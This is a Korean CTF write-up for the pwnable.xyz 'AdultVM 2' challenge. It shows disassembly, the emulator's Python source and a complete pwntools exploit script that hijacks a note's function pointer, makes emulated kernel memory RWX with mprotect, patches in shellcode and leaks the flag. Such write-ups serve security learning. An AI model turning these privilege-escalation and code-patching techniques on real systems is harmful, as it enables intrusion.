본문으로 바로가기

pwnable.xyz / AdultVM 2

category Wargame/pwnable.xyz 2020. 6. 11. 01:42

kernel에는 0xFFFFFFFF81005000에 플래그가 로드되어 있다. 이걸 읽으면 된다.

 

seg000:FFFFFFFF810000DD sys_write       proc near               ; CODE XREF: seg000:FFFFFFFF810000B0↑j
seg000:FFFFFFFF810000DD                                         ; DATA XREF: seg000:jpt_FFFFFFFF810000B0↓o
seg000:FFFFFFFF810000DD                 mov     rax, 0FFFFFFFFFFFFFFFFh
seg000:FFFFFFFF810000E4                 cmp     rdi, 1
seg000:FFFFFFFF810000E8                 jnz     short locret_FFFFFFFF81000105
seg000:FFFFFFFF810000EA                 mov     r13, 800000000000h
seg000:FFFFFFFF810000F4                 cmp     r13, rsi
seg000:FFFFFFFF810000F7                 jbe     short locret_FFFFFFFF81000105
seg000:FFFFFFFF810000F9                 mov     cx, dx
seg000:FFFFFFFF810000FC                 mov     rax, rcx
seg000:FFFFFFFF810000FF                 mov     dx, 3F8h
seg000:FFFFFFFF81000103                 rep outsb
seg000:FFFFFFFF81000105
seg000:FFFFFFFF81000105 locret_FFFFFFFF81000105:                ; CODE XREF: sys_write+B↑j
seg000:FFFFFFFF81000105                                         ; sys_write+1A↑j
seg000:FFFFFFFF81000105                 iret
seg000:FFFFFFFF81000105 sys_write       endp

 

sys_write는 0x800000000000 뒤의 주소는 출력을 해 주지 않기 때문에 다른 접근 방법이 필요하다.

 

69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
def handle_kernel_interrupt(ucintnodata):    
    if intno == 0x70:
        rax = uc.reg_read(UC_X86_REG_RAX)
        if rax == 0:
            rdi = uc.reg_read(UC_X86_REG_RDI)
            rsi = uc.reg_read(UC_X86_REG_RSI)
            rdx = uc.reg_read(UC_X86_REG_RDX)
            uc.mem_protect(rdi, rsi, rdx)
        elif rax == 7:
            rdi = uc.reg_read(UC_X86_REG_RDI)
            rsi = uc.reg_read(UC_X86_REG_RSI)
            rdx = uc.reg_read(UC_X86_REG_RDX)
            buf = str(eval(str(uc.mem_read(rdi, rdx))))
            uc.mem_write(rsi, buf)
            uc.reg_write(UC_X86_REG_RAX, len(buf))

 

handle_kernel_interrupt로 0x70 interrupt를 처리하는 함수다. rax가 0이면 mem_protect 함수를 통해 메모리 영역의 권한을 수정할 수 있다.

 

132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
def start_kernel():
    kernel = read("./kernel")
    flag2 = read("./flag2.txt")

    mu = Uc(UC_ARCH_X86, UC_MODE_64)
    mu.mem_map_ptr(USER_ADDRESS, MAPPING_SIZE, UC_PROT_READ, USER_TEXT_MEM)
    mu.mem_map_ptr(USER_ADDRESS + MAPPING_SIZE, MAPPING_SIZE, UC_PROT_READ | UC_PROT_WRITE, USER_DATA_MEM)
    mu.mem_map_ptr(USER_STACK - MAPPING_SIZE, MAPPING_SIZE, UC_PROT_READ | UC_PROT_WRITE, USER_STACK_MEM)

    mu.mem_map(KERNEL_ADDRESS, MAPPING_SIZE, UC_PROT_READ | UC_PROT_EXEC)
    mu.mem_map(KERNEL_STACK - MAPPING_SIZE, MAPPING_SIZE, UC_PROT_READ | UC_PROT_WRITE)

    mu.mem_write(KERNEL_ADDRESS, kernel)
    mu.hook_add(UC_HOOK_CODE, handle_kernel, None, KERNEL_ADDRESS, KERNEL_ADDRESS+MAPPING_SIZE)
    mu.hook_add(UC_HOOK_INSN, handle_kernel_in, None10, UC_X86_INS_IN)
    mu.hook_add(UC_HOOK_INSN, handle_kernel_out, None10, UC_X86_INS_OUT)
    mu.hook_add(UC_HOOK_INTR, handle_kernel_interrupt)
    mu.hook_add(UC_HOOK_MEM_READ_UNMAPPED | UC_HOOK_MEM_WRITE_UNMAPPED | UC_HOOK_MEM_FETCH_UNMAPPED, handle_kernel_invalid)

    mu.reg_write(UC_X86_REG_RSP, KERNEL_STACK-0x1000)
    mu.reg_write(UC_X86_REG_RIP, KERNEL_ADDRESS)

    mu.mem_write(KERNEL_ADDRESS + 0x5000, flag2)

    mu.emu_start(KERNEL_ADDRESS, KERNEL_ADDRESS + len(kernel))

 

148번째 줄에서 kernel Uc object에 handle_kernel_interrupt hook를 추가한다. 즉 kernel 영역의 메모리 권한을 바꿀 수 있다.

 

.text:00000000040002C7                 mov     rax, [rbp+note]
.text:00000000040002CB                 mov     rax, [rax+20h]
.text:00000000040002CF                 mov     rdx, [rbp+note]
.text:00000000040002D3                 mov     rcx, [rdx+18h]
.text:00000000040002D7                 mov     rdx, [rbp+note]
.text:00000000040002DB                 mov     rdx, [rdx+10h]
.text:00000000040002DF                 mov     rsi, [rbp+note]
.text:00000000040002E3                 mov     rsi, [rsi+8]
.text:00000000040002E7                 mov     rdi, [rbp+note]
.text:00000000040002EB                 mov     rdi, [rdi]
.text:00000000040002EE                 call    rax

 

AdultVM 문제에서 notes[0]을 자유롭게 수정할 수 있음을 확인했다. 위 코드는 show_note에서 show 함수 포인터를 실행하는 부분이며, rdi, rsi, rdx, rcx 4개의 인자를 설정할 수 있다.

 

.text:0000000004000338 ; __int64 _syscall(__int64 n, ...)
.text:0000000004000338                 public __syscall
.text:0000000004000338 __syscall       proc near               ; CODE XREF: sccp+2↓j
.text:0000000004000338
.text:0000000004000338 arg_0           = qword ptr  8
.text:0000000004000338
.text:0000000004000338                 mov     rax, rdi
.text:000000000400033B                 mov     rdi, rsi
.text:000000000400033E                 mov     rsi, rdx
.text:0000000004000341                 mov     rdx, rcx
.text:0000000004000344                 mov     r10, r8
.text:0000000004000347                 mov     r8, r9
.text:000000000400034A                 mov     r9, [rsp+arg_0]
.text:000000000400034F                 syscall                 ; LINUX -
.text:0000000004000351                 retn
.text:0000000004000351 __syscall       endp

 

show 함수 포인터를 __syscall 함수로 옮기면 rax, rdi, rsi, rdx를 자유롭게 설정할 수 있기 때문에 원하는 syscall을 실행할 수 있다.

 

먼저 kernel의 코드 영역의 권한을 RWX로 바꾸고, sys_read로 sys_munmap를 주소 제한 없는 write 코드로 패치해준 뒤 syscall로 sys_munmap을 호출시켜 주면 된다. 하지만 sys_mprotect를 호출하려면 rax에 10을 넘겨야 하고, 10은 read_line으로 입력받을 수 없기 때문에 read를 실행해 Note 구조체를 수정하는 방법으로 우회해야 한다.

 

로컬에서 4시간동안 삽질해도 안 풀렸는데 (null dereference 버그가 생김) 리모트로 돌려보니 플래그가 나왔다. 아마 로컬 환경에 문제가 있었던 것 같다..

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
from pwn import *
from time import sleep
import argparse


def EditNote(nid:intnote:bytes) :
    p.writelineafter(b'Exit\n'b'1')
    p.writelineafter(b': 'str(nid).encode())
    p.writeafter(b': ', note)

    if len(note) != 0x40 :
        p.write(b'\n')

def ShowNote(nid:intread_content:bool=True) :
    p.writelineafter(b'Exit\n'b'2')
    p.writelineafter(b': 'str(nid).encode())

    if read_content :
        p.readuntil(b': ')
        return p.readuntil(b'\n1.'drop=True)

def Exit() :
    p.writeline(b'3')

def exploit() :
    sleep(1)

    for i in range(9) :
        EditNote(i, b'A'*0x40)

    payload = b'A'*8
    payload += p64(0x4100380)   # rdi (buf) = &notes[0]
    payload += p64(0x28)        # rsi (size) = sizeof(struct Node)
    payload += p64(0xFF)*2
    payload += p64(0x400000F)   # do_read

    EditNote(9, payload)
    ShowNote(0False)

    payload = p64(10)                    # rax = sys_mprotect
    payload += p64(0xFFFFFFFF81000000)   # rdi (addr) = kernel_base
    payload += p64(0x1000)               # rsi (len) = 0x10000
    payload += p64(7)                    # rdx (prot) = PROT_READ | PROT_WRITE | PROT_EXEC
    payload += p64(0x4000338)            # __syscall

    p.write(payload)
    ShowNote(0False)

    code = '''
        mov rcx, rdx
        mov rax, rcx
        mov dx, 0x3F8
        rep outsb
        iret
    '''

    code = asm(code)

    payload = b'A'*8
    payload += p64(0)                    # rax = sys_read
    payload += p64(0)                    # rdi (fd) = 0
    payload += p64(0xFFFFFFFF8100013E)   # rsi (buf) = 0xFFFFFFFF8100013E
    payload += p64(len(code))            # rdx (count) = len(code)
    payload += p64(0x4000338)            # __syscall

    EditNote(9, payload)
    ShowNote(0False)
    p.write(code)

    payload = b'A'*8
    payload += p64(11)                   # rax = sys_munmap
    payload += p64(1)                    # rdi (fd), unnecessary
    payload += p64(0xFFFFFFFF81005000)   # rsi (buf) = 0xFFFFFFFF81005000
    payload += p64(0x40)                 # rdx (count) = 0x40
    payload += p64(0x4000338)            # __syscall

    EditNote(9, payload)
    ShowNote(0False)

    p.interactive()


if __name__ == '__main__' :
    context.arch = 'amd64'

    parser = argparse.ArgumentParser()
    parser.add_argument('-r''--remote'action='store_true'help='connect to remote server')
    args = parser.parse_args()

    if args.remote :
        p = connect('svc.pwnable.xyz'30048fam='ipv4')
    else :
        p = process(['python3''start3.py'])

    exploit()

 

 

 

Last update: 6/11/2020

'Wargame > pwnable.xyz' 카테고리의 다른 글

pwnable.xyz / note v5  (0) 2020.06.13
pwnable.xyz / AdultVM 3  (0) 2020.06.12
pwnable.xyz / AdultVM  (2) 2020.05.31
pwnable.xyz / note v4  (0) 2020.05.30
pwnable.xyz / fishing  (0) 2020.05.30